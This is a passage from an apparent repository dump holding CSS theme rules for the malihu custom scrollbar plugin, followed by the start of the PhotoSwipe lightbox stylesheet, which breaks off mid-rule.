background-image: -ms-linear-gradient(left, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: linear-gradient(to right, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n}\n\n.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    background-repeat: repeat-x;\n    background-image: -moz-linear-gradient(top, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(255, 255, 255, 0.5)), color-stop(100%, rgba(255, 255, 255, 0)));\n    background-image: -webkit-linear-gradient(top, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: -o-linear-gradient(top, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: -ms-linear-gradient(top, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n    background-image: linear-gradient(to bottom, rgba(255, 255, 255, 0.5) 0%, rgba(255, 255, 255, 0) 100%);\n}\n\n\n/* theme \"3d\", \"3d-dark\" */\n\n.mCS-3d.mCSB_scrollTools_vertical .mCSB_dragger,\n.mCS-3d-dark.mCSB_scrollTools_vertical .mCSB_dragger {\n    height: 70px;\n}\n\n.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger,\n.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger {\n    width: 70px;\n}\n\n.mCS-3d.mCSB_scrollTools,\n.mCS-3d-dark.mCSB_scrollTools {\n    opacity: 1;\n    filter: \"alpha(opacity=30)\";\n    -ms-filter: \"alpha(opacity=30)\";\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    -webkit-border-radius: 16px;\n    -moz-border-radius: 16px;\n    border-radius: 16px;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail {\n    width: 8px;\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.2);\n    box-shadow: inset 1px 0 1px rgba(0, 0, 0, 0.5), inset -1px 0 1px rgba(255, 255, 255, 0.2);\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-3d.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-3d.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #555;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 8px;\n}\n\n.mCS-3d.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n    height: 8px;\n    margin: 4px 0;\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5), inset 0 -1px 1px rgba(255, 255, 255, 0.2);\n}\n\n.mCS-3d.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    width: 100%;\n    height: 8px;\n    margin: 4px auto;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -32px -72px;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -32px -92px;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -40px -112px;\n}\n\n.mCS-3d.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -40px -128px;\n}\n\n\n/* theme \"3d-dark\" */\n\n.mCS-3d-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.1);\n    box-shadow: inset 1px 0 1px rgba(0, 0, 0, 0.1);\n}\n\n.mCS-3d-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1);\n}\n\n.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -112px -72px;\n}\n\n.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -112px -92px;\n}\n\n.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -120px -112px;\n}\n\n.mCS-3d-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -120px -128px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme: \"3d-thick\", \"3d-thick-dark\" */\n\n.mCS-3d-thick.mCSB_scrollTools,\n.mCS-3d-thick-dark.mCSB_scrollTools {\n    opacity: 1;\n    filter: \"alpha(opacity=30)\";\n    -ms-filter: \"alpha(opacity=30)\";\n}\n\n.mCS-3d-thick.mCSB_scrollTools,\n.mCS-3d-thick-dark.mCSB_scrollTools,\n.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer {\n    -webkit-border-radius: 7px;\n    -moz-border-radius: 7px;\n    border-radius: 7px;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    -webkit-border-radius: 5px;\n    -moz-border-radius: 5px;\n    border-radius: 5px;\n}\n\n.mCSB_inside+.mCS-3d-thick.mCSB_scrollTools_vertical,\n.mCSB_inside+.mCS-3d-thick-dark.mCSB_scrollTools_vertical {\n    right: 1px;\n}\n\n.mCS-3d-thick.mCSB_scrollTools_vertical,\n.mCS-3d-thick-dark.mCSB_scrollTools_vertical {\n    box-shadow: inset 1px 0 1px rgba(0, 0, 0, 0.1), inset 0 0 14px rgba(0, 0, 0, 0.5);\n}\n\n.mCS-3d-thick.mCSB_scrollTools_horizontal,\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal {\n    bottom: 1px;\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1), inset 0 0 14px rgba(0, 0, 0, 0.5);\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.4);\n    width: 12px;\n    margin: 2px;\n    position: absolute;\n    height: auto;\n    top: 0;\n    bottom: 0;\n    left: 0;\n    right: 0;\n}\n\n.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4);\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-3d-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #555;\n}\n\n.mCS-3d-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    height: 12px;\n    width: auto;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerContainer {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.05);\n    box-shadow: inset 1px 1px 16px rgba(0, 0, 0, 0.1);\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: transparent;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -32px -72px;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -32px -92px;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -40px -112px;\n}\n\n.mCS-3d-thick.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -40px -128px;\n}\n\n\n/* theme: \"3d-thick-dark\" */\n\n.mCS-3d-thick-dark.mCSB_scrollTools {\n    box-shadow: inset 0 0 14px rgba(0, 0, 0, 0.2);\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal {\n    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1), inset 0 0 14px rgba(0, 0, 0, 0.2);\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.4), inset -1px 0 0 rgba(0, 0, 0, 0.2);\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), inset 0 -1px 0 rgba(0, 0, 0, 0.2);\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #777;\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerContainer {\n    background-color: #fff;\n    background-color: rgba(0, 0, 0, 0.05);\n    box-shadow: inset 1px 1px 16px rgba(0, 0, 0, 0.1);\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: transparent;\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -112px -72px;\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -112px -92px;\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -120px -112px;\n}\n\n.mCS-3d-thick-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -120px -128px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme: \"minimal\", \"minimal-dark\" */\n\n.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical,\n.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical {\n    right: 0;\n    margin: 12px 0;\n}\n\n.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools.mCSB_scrollTools_horizontal,\n.mCustomScrollBox.mCS-minimal+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,\n.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools.mCSB_scrollTools_horizontal,\n.mCustomScrollBox.mCS-minimal-dark+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal {\n    bottom: 0;\n    margin: 0 12px;\n}\n\n\n/* RTL direction/left-side scrollbar */\n\n.mCS-dir-rtl>.mCSB_outside+.mCS-minimal.mCSB_scrollTools_vertical,\n.mCS-dir-rtl>.mCSB_outside+.mCS-minimal-dark.mCSB_scrollTools_vertical {\n    left: 0;\n    right: auto;\n}\n\n.mCS-minimal.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-minimal-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: transparent;\n}\n\n.mCS-minimal.mCSB_scrollTools_vertical .mCSB_dragger,\n.mCS-minimal-dark.mCSB_scrollTools_vertical .mCSB_dragger {\n    height: 50px;\n}\n\n.mCS-minimal.mCSB_scrollTools_horizontal .mCSB_dragger,\n.mCS-minimal-dark.mCSB_scrollTools_horizontal .mCSB_dragger {\n    width: 50px;\n}\n\n.mCS-minimal.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.2);\n    filter: \"alpha(opacity=20)\";\n    -ms-filter: \"alpha(opacity=20)\";\n}\n\n.mCS-minimal.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-minimal.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.5);\n    filter: \"alpha(opacity=50)\";\n    -ms-filter: \"alpha(opacity=50)\";\n}\n\n\n/* theme: \"minimal-dark\" */\n\n.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.2);\n    filter: \"alpha(opacity=20)\";\n    -ms-filter: \"alpha(opacity=20)\";\n}\n\n.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-minimal-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.5);\n    filter: \"alpha(opacity=50)\";\n    -ms-filter: \"alpha(opacity=50)\";\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme \"light-3\", \"dark-3\" */\n\n.mCS-light-3.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail {\n    width: 6px;\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.2);\n}\n\n.mCS-light-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 6px;\n}\n\n.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-light-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n    height: 6px;\n    margin: 5px 0;\n}\n\n.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-light-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    width: 12px;\n}\n\n.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-light-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,\n.mCS-dark-3.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail {\n    height: 12px;\n    margin: 2px 0;\n}\n\n.mCS-light-3.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -32px -72px;\n}\n\n.mCS-light-3.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -32px -92px;\n}\n\n.mCS-light-3.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -40px -112px;\n}\n\n.mCS-light-3.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -40px -128px;\n}\n\n\n/* theme \"dark-3\" */\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-dark-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.1);\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -112px -72px;\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -112px -92px;\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -120px -112px;\n}\n\n.mCS-dark-3.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -120px -128px;\n}\n\n\n/* ---------------------------------------- */\n\n\n/* theme \"inset\", \"inset-dark\", \"inset-2\", \"inset-2-dark\", \"inset-3\", \"inset-3-dark\" */\n\n.mCS-inset.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail {\n    width: 12px;\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.2);\n}\n\n.mCS-inset.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    width: 6px;\n    margin: 3px 5px;\n    position: absolute;\n    height: auto;\n    top: 0;\n    bottom: 0;\n    left: 0;\n    right: 0;\n}\n\n.mCS-inset.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {\n    height: 6px;\n    margin: 5px 3px;\n    position: absolute;\n    width: auto;\n    top: 0;\n    bottom: 0;\n    left: 0;\n    right: 0;\n}\n\n.mCS-inset.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-inset-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-inset-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-inset-2-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-inset-3.mCSB_scrollTools_horizontal .mCSB_draggerRail,\n.mCS-inset-3-dark.mCSB_scrollTools_horizontal .mCSB_draggerRail {\n    width: 100%;\n    height: 12px;\n    margin: 2px 0;\n}\n\n.mCS-inset.mCSB_scrollTools .mCSB_buttonUp,\n.mCS-inset-2.mCSB_scrollTools .mCSB_buttonUp,\n.mCS-inset-3.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -32px -72px;\n}\n\n.mCS-inset.mCSB_scrollTools .mCSB_buttonDown,\n.mCS-inset-2.mCSB_scrollTools .mCSB_buttonDown,\n.mCS-inset-3.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -32px -92px;\n}\n\n.mCS-inset.mCSB_scrollTools .mCSB_buttonLeft,\n.mCS-inset-2.mCSB_scrollTools .mCSB_buttonLeft,\n.mCS-inset-3.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -40px -112px;\n}\n\n.mCS-inset.mCSB_scrollTools .mCSB_buttonRight,\n.mCS-inset-2.mCSB_scrollTools .mCSB_buttonRight,\n.mCS-inset-3.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -40px -128px;\n}\n\n\n/* theme \"inset-dark\", \"inset-2-dark\", \"inset-3-dark\" */\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-inset-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.1);\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonUp,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonUp,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonUp {\n    background-position: -112px -72px;\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonDown,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonDown,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonDown {\n    background-position: -112px -92px;\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonLeft,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonLeft,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonLeft {\n    background-position: -120px -112px;\n}\n\n.mCS-inset-dark.mCSB_scrollTools .mCSB_buttonRight,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_buttonRight,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_buttonRight {\n    background-position: -120px -128px;\n}\n\n\n/* theme \"inset-2\", \"inset-2-dark\" */\n\n.mCS-inset-2.mCSB_scrollTools .mCSB_draggerRail,\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: transparent;\n    border-width: 1px;\n    border-style: solid;\n    border-color: #fff;\n    border-color: rgba(255, 255, 255, 0.2);\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    box-sizing: border-box;\n}\n\n.mCS-inset-2-dark.mCSB_scrollTools .mCSB_draggerRail {\n    border-color: #000;\n    border-color: rgba(0, 0, 0, 0.2);\n}\n\n\n/* theme \"inset-3\", \"inset-3-dark\" */\n\n.mCS-inset-3.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.6);\n}\n\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_draggerRail {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.6);\n}\n\n.mCS-inset-3.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.75);\n}\n\n.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.85);\n}\n\n.mCS-inset-3.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-inset-3.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #000;\n    background-color: rgba(0, 0, 0, 0.9);\n}\n\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.75);\n}\n\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.85);\n}\n\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,\n.mCS-inset-3-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar {\n    background-color: #fff;\n    background-color: rgba(255, 255, 255, 0.9);\n}\n\n\n/* ---------------------------------------- */"
  },
  {
    "path": "mov/css/photoswipe.css",
    "content": "/*! PhotoSwipe main CSS by Dmitry Semenov | photoswipe.com | MIT license */\n/*\n\tStyles for basic PhotoSwipe functionality (sliding area, open/close transitions)\n*/\n/* pswp = photoswipe */\n.pswp {\n  display: none;\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  left: 0;\n  top: 0;\n  overflow: hidden;\n  -ms-touch-action: none;\n  touch-action: none;\n  z-index: 1500;\n  -webkit-text-size-adjust: 100%;\n  /* create separate layer, to avoid paint on window.onscroll in webkit/blink */\n  -webkit-backface-visibility: hidden;\n  outline: none; }\n  .pswp * {\n    -webkit-box-sizing: border-box;\n            box-sizing: border-box; }\n  .pswp img {\n    max-width: none; }\n\n/* style is added when JS option showHideOpacity is set to true */\n.pswp--animate_opacity {\n  /* 0.001, because opacity:0 doesn't trigger Paint action, which causes lag at start of transition */\n  opacity: 0.001;\n  will-change: opacity;\n  /* for open/close transition */\n  -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);\n          transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1); }\n\n.pswp--open {\n  display: block; }\n\n.pswp--zoom-allowed .pswp__img {\n  /* autoprefixer: off */\n  cursor: -webkit-zoom-in;\n  cursor: -moz-zoom-in;\n  cursor: zoom-in; }\n\n.pswp--zoomed-in .pswp__img {\n  /* autoprefixer: off */\n  cursor: -webkit-grab;\n  cursor: -moz-grab;\n  cursor: grab; }\n\n.pswp--dragging .pswp__img {\n  /* autoprefixer: off */\n  cursor: -webkit-grabbing;\n  cursor: -moz-grabbing;\n  cursor: grabbing; }\n\n/*\n\tBackground is added as a separate element.\n\tAs animating opacity is much faster than animating rgba() background-color.\n*/\n.pswp__bg {\n  position: absolute;\n  left: 0;\n  top: 0;\n  width: 100%;\n  height: 100%;\n  background: #000;\n  opacity: 0;\n  -webkit-backface-visibility: hidden;\n  will-change: opacity; }\n\n.pswp__scroll-wrap {\n  position: absolute;\n  left: 0;\n  top: 0;\n  width: 100%;\n  height: 100%;\n  overflow: hidden; }\n\n.pswp__container,\n.pswp__zoom-wrap {\n  -ms-touch-action: none;\n  touch-action: none;\n  position: absolute;\n  left: 0;\n  right: 0;\n  top: 0;\n  bottom: 0; }\n\n/* Prevent selection and tap highlights */\n.pswp__container,\n.pswp__img {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n      user-select: none;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-touch-callout: none; }\n\n.pswp__zoom-wrap {\n  position: absolute;\n  width: 100%;\n  -webkit-transform-origin: left top;\n  -ms-transform-origin: left top;\n  transform-origin: left top;\n  /* for open/close transition */\n  -webkit-transition: -webkit-transform 333ms cubic-bezier(0.4, 0, 0.22, 